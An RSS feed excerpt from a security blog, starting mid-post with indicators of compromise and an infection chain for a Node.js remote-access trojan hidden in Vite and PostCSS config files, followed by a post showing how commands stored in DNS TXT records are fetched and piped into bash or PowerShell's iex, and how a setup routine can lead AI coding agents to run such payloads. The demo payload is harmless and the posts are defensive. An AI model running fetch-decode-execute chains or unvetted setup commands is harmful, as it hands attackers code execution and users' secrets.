HEAD:       319dbc61b24e1655ff61bd604b8aee3aa1ca0941
Parent:     b7abbbb6c6f13ced564fd31c74a6396f3e438405
Message:    Refactoring codebse for speed</code></pre>
<p><strong>Attacker-side accounts</strong></p>
<pre><code>gitcomp88
gitforcpc903</code></pre>
<p>These are investigation indicators, not proof of identity.</p>
<p><strong>Malicious files in the repository</strong></p>
<pre><code>vite.config.ts
postcss.config.js</code></pre>
<p><strong>Network</strong></p>
<pre><code>23.27.20.187
http://23.27.20.187:443        Socket.IO command channel
/boot  /init  /0/boot  /0/body
/u/f                            stolen file upload
/verify-human/&lt;campaign&gt;        telemetry</code></pre>
<p><strong>Markers</strong></p>
<pre><code>33ff3edaf55a8e03dcbc7cb40d498a49    campaign identifier
*8-0                                build label
/*RS260605*/                        persistence body
/*C260521A*/                        injection marker</code></pre>
<p>Older injection markers: <code>/*C250617A*/</code>, <code>/*C250618A*/</code>, <code>/*C250619A*/</code>, <code>/*C250620A*/</code>, <code>/*C260511A*/</code>, <code>/*C260512A*/</code></p>
<p><strong>Version and key</strong></p>
<pre><code>malware version:        260804
secondary XOR key:      YU7m{rE/&gt;|==b&gt;#~</code></pre>
<p><strong>Local artifacts</strong></p>
<pre><code>~/.node_modules
~/.node_module
/tmp/.&lt;base64 of username&gt;
%LOCALAPPDATA%&#92;Temp&#92;&lt;base64 of username&gt;</code></pre>
<p><strong>Ethereum</strong></p>
<pre><code>Tx:        0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Sender:    0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
Recipient: 0x171b14bb01bb171b14bb0050eb7f39c35c47e682
RPC:       eth.drpc.org, eth-mainnet.public.blastapi.io, ethereum-rpc.publicnode.com1</code></pre>
<p><strong>Hashes</strong></p>
<pre><code>Project overview PDF:   1219c37891cede90e98b6102b4b80d485ec6d410eda3d5bb1666ca8ab57a564e
Repository loader:      ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c
Primary /boot:          950a8f79e48cb6b36d731bb7adf695e2420014813d5705ce41ea8090e8b06724
Secondary /0/boot:      62b19e0cbb110bc5d33ad4db07af9c7d1018c3951350369d6bdf2b2c1ebc2828
Decoded primary:        aabf3f0cacd91e1bcb0edbd1335b40a9bfade8e7d31c98946b0b876bec69592f
Decoded secondary:      929967e719214aa6547126bb96636f15d9c230bb4f3dac2bc82578494c5f635e
Real /init JSON:        574919a51df20bb3c73268a2cb2f18739d3408e29a4d6ec7dcba62fa8b5c0264
Field _B:               f68955621b28c1715677117b0b38e18cd8e92717ca8eadb44f47a5cc08aef4a3
Unpacked _B body:       624d915598f6b48eeeaabaee19824fcecc35570c4e3a246dda5eaae97db364dd
Field _Z:               7ca3d571b64b815dcef80c0938ea30d48df06fcbe00d346c73849bd1b1f4abe7</code></pre>
<h3>The whole chain</h3>
<pre><code>fake profile with an unverifiable position at a large company
→ job offer at an attractive rate
→ private GitHub repository invitation
→ frontend generated in an AI builder as the bait
→ copied history of a legitimate project used as credibility
→ follow-up asking "have you run it yet?"
→ obfuscated loader appended to the Vite and PostCSS config
→ npm run dev
→ Ethereum JSON-RPC query
→ C2 address decoded from the recipient of a transaction
→ GET /boot and /0/boot
→ two obfuscated stages through node -e
→ GET /init
→ Node.js RAT version 260804
→ injection into VS Code, Cursor, Antigravity, Discord, GitHub Desktop and npm
→ Socket.IO command channel on unencrypted port 443
→ clipboard, shell, eval, recursive directory upload
→ exfiltration to /u/f</code></pre>
<h3>Limitations</h3>
<p>I unpacked the main payload statically, meaning without executing its operational part. The commands, persistence and exfiltration format described here are read out of its own code, not observed at runtime. I do not have the <code>/0/body</code> branch, because the C2 stopped responding. The <code>_Z</code> persistence body remains heavily obfuscated, although its role and injection mechanism are proven from the main payload. The victim contained no real data, wallets or credentials. GitHub account names, commit metadata, the LinkedIn name and everything the attacker claimed about himself may be fabricated or stolen.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/">I ran malware on purpose. It found its server address in the blockchain</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Code Hidden in DNS: When an AI Agent Opens the Door</title>
		<link>https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 02 Jul 2026 10:33:23 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=5102</guid>

					<description><![CDATA[<p>Code does not have to be hidden directly in a repository. It can be loaded at runtime from something as ordinary as a DNS TXT record. This demo uses a harmless payload to show why that becomes risky when helpful AI agents automatically run setup commands.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Code Hidden in DNS: When an AI Agent Opens the Door</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Injecting malicious instructions into AI agents is a fairly new discipline. But many of the techniques used for it are not new at all.</p>
<p>One of them is hiding code in DNS records. More specifically, in TXT records, which are meant for storing text data. TXT records are commonly used to prove that you control a domain, or to configure SPF, DKIM and DMARC for email. Technically, though, they can contain almost any text.</p>
<p>And if a DNS record can contain ordinary text, it can also contain a command.</p>
<p>For example, a command that gets executed in a shell after being loaded. In a harmless demo, it can print a message, create a file or display ASCII art. In a malicious version, it can open remote access to your machine.</p>
<p>The important detail is this: the malicious code does not have to be stored in the repository at all. A static code scanner, a commit review or a quick human review may not see it, because the repository only contains a script that “loads configuration from DNS”. The actual payload appears only when the DNS record is read and its content is executed.</p>
<h2>Demo</h2>
<p>You can try this technique without using any malicious payload.</p>
<p>The following example does not download anything, does not connect anywhere and only creates a file called <code>ds.txt</code> with a simple ASCII cat:</p>
<pre><code> /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.</code></pre>
<p>The point is not what the script does. The point is that the code is not stored in a file on disk, but in a DNS TXT record.</p>
<h2>Linux and macOS</h2>
<p>For Linux and macOS, the DNS TXT record can look like this:</p>
<pre><code>txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="</code></pre>
<h3>1. Show the script</h3>
<p>This command reads the DNS TXT record, decodes it and prints the script:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d</code></pre>
<p>Output:</p>
<pre><code>cat &gt; ds.txt &lt;&lt;'EOF'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
EOF
cat ds.txt</code></pre>
<h3>2. Run the demo</h3>
<p>This command does the same thing, but passes the decoded content directly to <code>bash</code>:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash</code></pre>
<p>Result: a file called <code>ds.txt</code> is created in the current directory and its content is printed to the terminal.</p>
<p>The mechanism is simple:</p>
<pre><code>DNS TXT → Base64 → decoding → bash</code></pre>
<p>In this demo, it only saves a harmless cat. The same principle could also write an SSH key, download another script, exfiltrate tokens or open a reverse shell.</p>
<p>The problem is not DNS itself. The problem is mainly this part:</p>
<pre><code>... | bash</code></pre>
<p>It says: “Take text that came from the outside and run it as a program.”</p>
<h2>Windows / PowerShell</h2>
<p>On Windows, you can do something similar with PowerShell. The TXT record can contain a Base64-encoded PowerShell script:</p>
<pre><code>txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"</code></pre>
<h3>1. Show the script</h3>
<p>This command reads the DNS TXT record, decodes it and prints the PowerShell script:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))</code></pre>
<p>Output:</p>
<pre><code>$art = @'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt</code></pre>
<h3>2. Run the demo</h3>
<p>This command does the same thing, but executes the decoded content directly:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))</code></pre>
<p>Result: a file called <code>ds.txt</code> is created in the current directory and its content is printed to the terminal.</p>
<p><code>iex</code> is short for <code>Invoke-Expression</code>. In other words: it takes text and runs it as PowerShell code.</p>
<p>The mechanism is the same as with the shell:</p>
<pre><code>DNS TXT → Base64 → decoding → PowerShell</code></pre>
<p>A DNS TXT record does not look dangerous by itself. Base64 is not malware by itself. PowerShell is a normal administration tool. The risk appears when all of them are chained together and external content is executed automatically.</p>
<h2>What 0DIN Showed</h2>
<p>Researchers from Mozilla 0DIN described an attack in which an AI agent was given a seemingly simple task: set up a downloaded repository.</p>
<p>The repository did not need to contain obvious malware. The README offered a normal-looking first-time setup:</p>
<pre><code>pip3 install -r requirements.txt
python3 -m axiom init</code></pre>
<p>At first glance, these are just two ordinary commands: install dependencies and initialize the project.</p>
<p>The original write-up describes the attack as having three parts. That does not mean the user or the AI agent has to manually run three separate commands. It is better understood as three connected layers:</p>
<ol>
<li>a repository that looks trustworthy,</li>
<li>an initialization routine that looks like a normal part of the setup,</li>
<li>a setup script that loads the actual payload from a DNS TXT record and executes it.</li>
</ol>
<p>The command:</p>
<pre><code>python3 -m axiom init</code></pre>
<p>runs another setup script internally. That script queries DNS, reads a TXT record, decodes its content and passes it to the shell.</p>
<p>An error message such as:</p>
<pre><code>Axiom not initialised. Run: python3 -m axiom init</code></pre>
<p>acts more like a fallback. If the agent ignores the README and tries to use the package without initialization, the package tells it to run the same command again as a normal fix.</p>
<p>So there are two paths to the same result.</p>
<p>The agent can follow the README:</p>
<pre><code>pip install → init → DNS TXT → payload execution</code></pre>
<p>Or it can skip the README, hit an error and then “fix” it:</p>
<pre><code>pip install → error → suggested init → DNS TXT → payload execution</code></pre>
<p>In both cases, the goal is the same: get the agent to run an initialization command that looks normal, but actually opens the path to an external payload.</p>
<p>That is the uncomfortable part. Each individual step can look harmless. The problem appears when they are chained together.</p>
<h2>Why This Matters for AI Agents</h2>
<p>A human may at least pause when seeing a command like:</p>
<pre><code>dig ... | base64 -d | bash</code></pre>
<p>and ask: wait, why am I running something from DNS?</p>
<p>AI agents often work differently. They are given a goal, such as “get this project running”, and then they try to solve whatever blocks them. If something fails, they read the README, an error message, an issue or a terminal hint, and try to continue.</p>
<p>That is exactly their strength. And also their weakness.</p>
<p>The agent does not have to be “hacked” in a dramatic sense. It only has to be helpful enough. It runs the suggested command because it fits the task. And if it has access to a shell, the network and your working directory, the damage can be very practical:</p>
<ul>
<li>leaking API tokens,</li>
<li>leaking SSH keys,</li>
<li>accessing private repositories,</li>
<li>reading configuration files,</li>
<li>accessing cloud credentials,</li>
<li>running additional code,</li>
<li>opening a reverse shell.</li>
</ul>
<p>In other words: this is not only “AI security”. It is classic developer workstation security, accelerated and amplified by an AI agent.</p>
<h2>Will Antivirus or a Firewall Stop It?</h2>
<p>I would not rely on that.</p>
<p>A normal repository scan may not find anything suspicious, because the real payload is not in the repository. It is in DNS.</p>
<p>Antivirus may also miss it if it only sees normal tools: Python, shell, <code>dig</code>, PowerShell, a DNS query. And firewalls often allow DNS traffic, because ordinary internet use breaks very quickly without DNS.</p>
<p>That does not mean defense is impossible. Good EDR, process monitoring, blocking suspicious child processes, limiting outbound traffic or detecting suspicious chains such as <code>base64 | bash</code> and <code>Invoke-Expression</code> can help.</p>
<p>It is just not a good idea to rely on them as the only protection.</p>
<h2>How to Defend Against It</h2>
<p>The basic rule is simple: an unknown repository is unknown code. And that is still true when an AI agent opens it for you.</p>
<p>In practice, that means:</p>
<ul>
<li>Do not blindly run setup scripts from unknown projects.</li>
<li>Do not treat an AI agent’s recommendation as a security review.</li>
<li>Be careful with constructs such as <code>curl | bash</code>, <code>wget | bash</code>, <code>dig | bash</code>, <code>base64 -d | bash</code>, <code>bash -c "$something"</code> or PowerShell <code>Invoke-Expression</code>.</li>
<li>Check not only the command being executed, but also what it loads at runtime.</li>
<li>Run unknown projects in isolation: a container, VM, throwaway user, devcontainer or sandbox.</li>
<li>Do not give AI agents unnecessarily broad permissions.</li>
<li>Do not keep production tokens, SSH keys, cloud credentials or other long-lived secrets available in the environment.</li>
<li>Limit outbound traffic from development environments where it makes sense.</li>
<li>Disable or heavily restrict automatic approval of shell commands in AI coding agents.</li>
<li>Treat README files, error messages, issues and documentation in unknown repositories as untrusted input, not as authoritative instructions.</li>
</ul>
<p>A good control question is:</p>
<blockquote>
<p>Can I actually see all the code that will run?</p>
</blockquote>
<p>If a command downloads something, reads from DNS, builds code from variables, decodes Base64 or pipes data into a shell, the answer is often: no, I cannot.</p>
<p>At that point, it is no longer “just setup”.</p>
<p>It is remote code execution with the privileges of a user who often has far more sensitive things on their machine than they realize.</p>
<h2>Summary</h2>
<p>DNS TXT records are not dangerous by themselves. Base64 is not dangerous by itself. AI agents are not dangerous by themselves either.</p>
<p>The problem appears when these things are combined:</p>
<pre><code>trustworthy-looking project
+ helpful AI agent
+ shell with too much access
+ externally loaded payload
= problem</code></pre>
<p>So it is worth repeating an old rule in a new form:</p>
<blockquote>
<p>Do not copy random commands from the internet into your terminal.<br />
  And do not let your AI agent do it either.</p>
</blockquote>
<h2>Sources</h2>
<ul>
<li><a href="https://0din.ai/blog/clone-this-repo-and-i-own-your-machine">Mozilla 0DIN: Clone This Repo and I Own Your Machine</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc1464">RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes</a></li>
<li><a href="https://www.ietf.org/rfc/rfc1035.txt">RFC 1035: Domain Names &#8211; Implementation and Specification</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/dnsclient/resolve-dnsname">Microsoft Learn: Resolve-DnsName</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe">Microsoft Learn: about_PowerShell_exe</a></li>
</ul>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Code Hidden in DNS: When an AI Agent Opens the Door</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</title>
		<link>https://www.digitalnisebeobrana.cz/en/promptpunk-i-dont-vibe-verify/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 15:01:30 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<category><![CDATA[webapp]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=2259</guid>

					<description><![CDATA[<p>When AI generates code that allows attackers to get hold of our users' data, the reputational problem is ours, not the AI agent's. It is hard to respond to a data leak by pointing at an AI agent and saying, "It was his fault!"</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/promptpunk-i-dont-vibe-verify/">Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" class="size-vp_sm wp-image-2302 alignnone" src="/wp-content/uploads/2026/06/AIstealJobs-500x333.png" alt="" width="500" height="333" /></p>
<blockquote><p>AI is taking control of our development, security, and data!<br />
And it is taking programmers&#8217; jobs.</p></blockquote>
<p>AI has not taken anything from us. It cannot. It does not have that power. But even if it did, it would not have to. We handed over control of development, security, and data ourselves. Because it is convenient, fast, and often works surprisingly well.</p>
<p>The problem is not when the code does not work. We notice that immediately, and we can fix it. The problem is when the code somehow works, but behind the scenes it does something we would not like it to do. In security, the fact that something somehow works is not enough.<br />
We should know how it works, and when something changes, what changed and where.</p>
<h2>A new actor</h2>
<p>We often talk about AI as a tool. Similar to a text editor, a search engine, or &#8220;autocomplete&#8221;.<br />
But AI is not just an ordinary tool.<br />
AI:</p>
<ul>
<li>reads the assignment</li>
<li>interprets the intent</li>
<li>suggests architecture</li>
<li>writes code</li>
<li>modifies configuration</li>
<li>recommends libraries</li>
<li>explains errors</li>
<li><strong>and often even runs commands</strong></li>
</ul>
<p>So in the security model, this is no longer a passive hammer. It is another actor taking part in decisions &#8211; the threat model has expanded.<br />
When I hold a hammer in my hand as a tool, I decide how hard to hit, what to hit, and whether to hit anything at all.</p>
<p>AI is a hammer that makes all those decisions itself, based only on our instructions (prompts). And we have to remember that we are still the ones carrying the responsibility.<br />
I can give the hammer a task: <code>"Hammer in the nails!"</code>.<br />
The AI hammer &#8220;sees&#8221; a nail. It evaluates: <code>"Hm, a nail, I will hammer it in. And it is a big one, so I will use more force."</code>.<br />
And then you watch the AI hammer smashing into a hook in the wall. A hook in a plasterboard wall. A hook with your car keys hanging on it.</p>
<h2>AI made a mistake. We have a problem.</h2>
<p>We delegated not only development to AI, but also control. And quite often, only the illusion of control. In chat, AI tells us that everything is secure. But is it really?<br />
When AI generates code that allows attackers to get hold of our users&#8217; data, the reputational problem is ours, not the AI agent&#8217;s. It is hard to respond to a data leak by pointing at an AI agent and saying, &#8220;It was his fault!&#8221;<br />
Our now very possibly former customer usually does not care how the application was created. You offer it, you may even charge money for it, so it is your responsibility to make sure user data stays where it belongs.</p>
<h3>The journey is no longer the destination</h3>
<p>Vibe coding has made it possible to create applications even for people who have never programmed before. The problem is not that someone does not know the exact syntax of a particular programming language. That is only a small part of programming.<br />
Other important parts of development include algorithmic thinking, connecting individual components, handling memory, working with data, and more. Before vibe coding tools arrived, people often &#8220;programmed&#8221; by copying pieces of code from sites like StackOverflow. It was not ideal, but the author at least had some idea how, for example, application login worked, because they knew they had to create (or copy) code for running a database, a login form on the web, and also server-side code that compared the data from the form, or stored it in the database. So the author of the application may not have remembered the exact command for storing a password in the database, but at least they knew what path the password took into the database, and whether it was stored safely. Today? We enter: &#8220;Create login for my application.&#8221; Enter. And moments later, we have login.</p>
<h2>New feature &#8211; new door</h2>
<p>So we have login. But is the password stored securely in the database, or is it readable in plain text? What happens if I put something unexpected into the login form, for example a piece of code? Will I be able to read all the data from your database? Or change some parameter and log in as another user without knowing their password?</p>
<p>Maybe we pay extra attention to login, because we somehow sense that handling credentials is a critical part of the application.</p>
<h3>But what about other features that look harmless at first glance?</h3>
<p>&#8220;Add file upload.&#8221; Sounds like a normal feature. But suddenly you have to deal with:</p>
<ul>
<li>Who can see the file?</li>
<li>Where is it stored?</li>
<li>Can it be downloaded without logging in?</li>
<li>Can someone upload something unexpected?</li>
<li>Does the file remain there after the account is deleted?</li>
</ul>
<p>Upload is not just &#8220;save file&#8221;. It is a new warehouse for other people&#8217;s data.</p>
<p>&#8220;Add link sharing.&#8221;</p>
<p>Sounds like a simple, convenient feature.</p>
<ul>
<li>Who can open the link?</li>
<li>Can the link be guessed?</li>
<li>Can it be revoked later?</li>
<li>Does it show more data than it should?</li>
<li>Can some crawler index it somewhere?</li>
</ul>
<p>A sharing link is basically a second login. Just without a password.</p>
<p>Another one?</p>
<p>&#8220;Add export to PDF.&#8221;</p>
<ul>
<li>Sounds harmless, because the user is only downloading their own data.</li>
<li>What exactly ends up inside the PDF?</li>
<li>Are there metadata?</li>
<li>Is the PDF temporarily stored somewhere?</li>
<li>Can someone download another person&#8217;s export?</li>
<li>Do exports remain on the server?</li>
</ul>
<p>Export often creates a second copy of the data. And that second copy may no longer have the same protection as the original.</p>
<p>You could probably come up with examples like this for most features in your application. And are you sure your AI is thinking about them?</p>
<p><strong>Or will it simply build the new feature quickly and easily, just to make you happy?</strong></p>
<h2>AI does not invent new bugs. It produces old ones faster.</h2>
<p>With vibe coding, we are usually not dealing with completely new types of bugs. These are things we have known for a long time: a user sees someone else&#8217;s data, a file is accessible without authentication, sensitive data ends up readable in the database, the application forgets to check who has access to what, or a library nobody understands gets added to the project.<br />
What is new is mainly the speed. In the past, a person would write such a bug manually in one part of the application. Today, AI can add login, upload, export, sharing, and an API within minutes &#8211; and the same type of bug can appear in several places at once.</p>
<p><em><strong>AI is not a new kind of bug. AI is an accelerator for old bugs.</strong></em></p>
<h2>An almost real-life fuck-up</h2>
<p>I am not a programmer. I have programmed a few small things in my life, but I have never done it seriously over the long term. And it showed. My creations &#8220;somehow&#8221; worked, but mostly for my own personal use. I probably could not charge money for them.</p>
<p>With the arrival of AI tools, I decided to &#8220;rewrite&#8221; one of my older projects into something generally usable. And because that meant handling user data, I wanted it to be designed so that not even I, as the server operator, would be able to read users&#8217; data.</p>
<p>So one of the basic requirements was not just &#8220;put some encryption in there somehow&#8221;. It was a specific requirement for end-to-end encryption. Because it is not only that I am not interested in users&#8217; data. I do not want to have it in readable form even in case the server is breached, which is a risk carried by everyone who handles user data, whether it is a small one-person project or a large international corporation. It can happen. And it does happen.</p>
<p>Development went quite well. AI was coding like crazy, and everything more or less worked as expected.</p>
<p>Later, I added export to an internet calendar. A practical feature, a fairly normal requirement. AI implemented the feature. It worked.</p>
<p>After some time, I wanted to know whether everything in the database was really encrypted. The application data was encrypted. But next to that data, there was a table with data for the internet calendar export. In readable form. The same data that was &#8220;next to it&#8221; safely encrypted.</p>
<p>Calendar export cannot really be end-to-end encrypted. My requirement, because of my own lack of knowledge, went against one of the basic rules.</p>
<p>AI implemented the feature and completed the task. But it somehow forgot to tell me that by doing so, it had violated one of the basic rules.</p>
<p>It is like putting a high-quality lock on the door, and then, for convenience, building a second door next to it without a lock. The first lock still exists. It just no longer protects the entire path.<br />
The encryption was not broken. It was bypassed. Not by a hacker. By the developer.</p>
<p>My advantage is that I deal with security. So not only do I know how to check it, but more importantly, I know what I should check. And that I should check it at all. So I was able to deal with it and disabled automatic calendar export.</p>
<p>But if I had not done that, I would be promising my customers something that was not true. And sooner or later, someone would probably notice. And I would really rather avoid that <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<h2>Don&#8217;t vibe. Verify.</h2>
<p>I do not want to say we should not vibe code. I do it too. AI is great for quick prototypes, refactoring, looking for solutions, generating parts of code, or explaining problems. The problem is not vibe coding. The problem is when only the vibe remains &#8211; when I accept the result because it looks good, but I do not verify what has changed.</p>
<p>In crypto, we know the phrase &#8220;Don&#8217;t trust, verify.&#8221; It does not mean &#8220;never trust anyone, never use anything.&#8221; It means: trust is not control.</p>
<p>And exactly the same applies to AI. Don&#8217;t vibe. Verify does not mean &#8220;do not use AI&#8221;. It means: do not accept the result just because it feels right. Verify the promises, the data, the permissions, and the new doors you have just created.</p>
<p> </p>
<blockquote><p>Everyone knows that debugging is twice as hard as writing a program in the first place. So if you&#8217;re as clever as you can be when you write it, how will you ever debug it?</p>
<p>* Brian Kernighan, The Elements of Programming Style, 2nd edition, chapter 2</p></blockquote>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/promptpunk-i-dont-vibe-verify/">Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>On the Origin of Hackers</title>
		<link>https://www.digitalnisebeobrana.cz/en/on-the-origin-of-hackers/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 20 Jul 2021 21:29:36 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[historie]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[šifrování]]></category>
		<category><![CDATA[trik]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1687</guid>

					<description><![CDATA[<p>Who were the first hackers and when did the history of hacking begin? Probably earlier than you'd expect. It's been more than...</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/on-the-origin-of-hackers/">On the Origin of Hackers</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>When did the history of hacking begin? If you&#8217;re guessing the second half of the 20th century, you have to go a little further upstream. It wasn&#8217;t even breaking Enigma-encrypted messages during World War II.<br />
We are more than 180 years away from the first known hack of a communications network (spoiler: it wasn&#8217;t a phone call, Alexander Graham Bell didn&#8217;t make his first call until 42 years later).</p>
<h2>Chappe&#8217;s Telegraph</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1691" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-146x300.jpg" alt="" width="146" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-146x300.jpg 146w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-600x1232.jpg 600w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-499x1024.jpg 499w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-768x1577.jpg 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-748x1536.jpg 748w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-500x1027.jpg 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-800x1643.jpg 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-640x1314.jpg 640w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1.jpg 877w" sizes="auto, (max-width: 146px) 100vw, 146px" /></a> In 1794, French inventor Claude Chappe came up with a system of visual semaphore telegraphs. By adjusting flexible arms placed on a tower (mast), it was possible to display letters, numbers and some special characters, such as the beginning and end of a communication or the deletion of the last character in case of a typo. In this case, rather &#8220;misbending&#8221;.</p>
<p>The individual towers were spaced apart so that one could be seen from one to the next. Thus, the message could spread from one tower to the next until it reached its destination. It is reported that the speed of the message was up to 500 km per hour.</p>
<p>In France, a network of Chappe visual telegraphs was built during the 19th century to serve the needs of the state (and especially the army). For example, there were 58 stations on the route between Paris and Brest. But ordinary citizens could not use the services of this communication network.</p>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77.png"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1690" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-212x300.png" alt="" width="212" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-212x300.png 212w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-600x849.png 600w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-724x1024.png 724w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-768x1086.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1086x1536.png 1086w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1448x2048.png 1448w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-500x707.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-800x1132.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1280x1810.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1920x2716.png 1920w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-640x905.png 640w" sizes="auto, (max-width: 212px) 100vw, 212px" /></a>The communications even used end-to-end encryption. Since military secrets were being transmitted via the telegraph network, it was not very appropriate for anyone with a view of the telegraph tower to be able to read the communications. Thus, the sender and receiver had an agreed key with which to encrypt their messages. The tower operators along the way just repeated the encrypted message character by character without being able to decipher what the contents of the message were. The sender and recipient of the message thus had more privacy in 1800 than Facebook Messenger users in 2021 (more on messenger encryption <a href="https://www.digitalni-sebeobrana.cz/en/sifrovani-zprav-demo/">here</a>).</p>
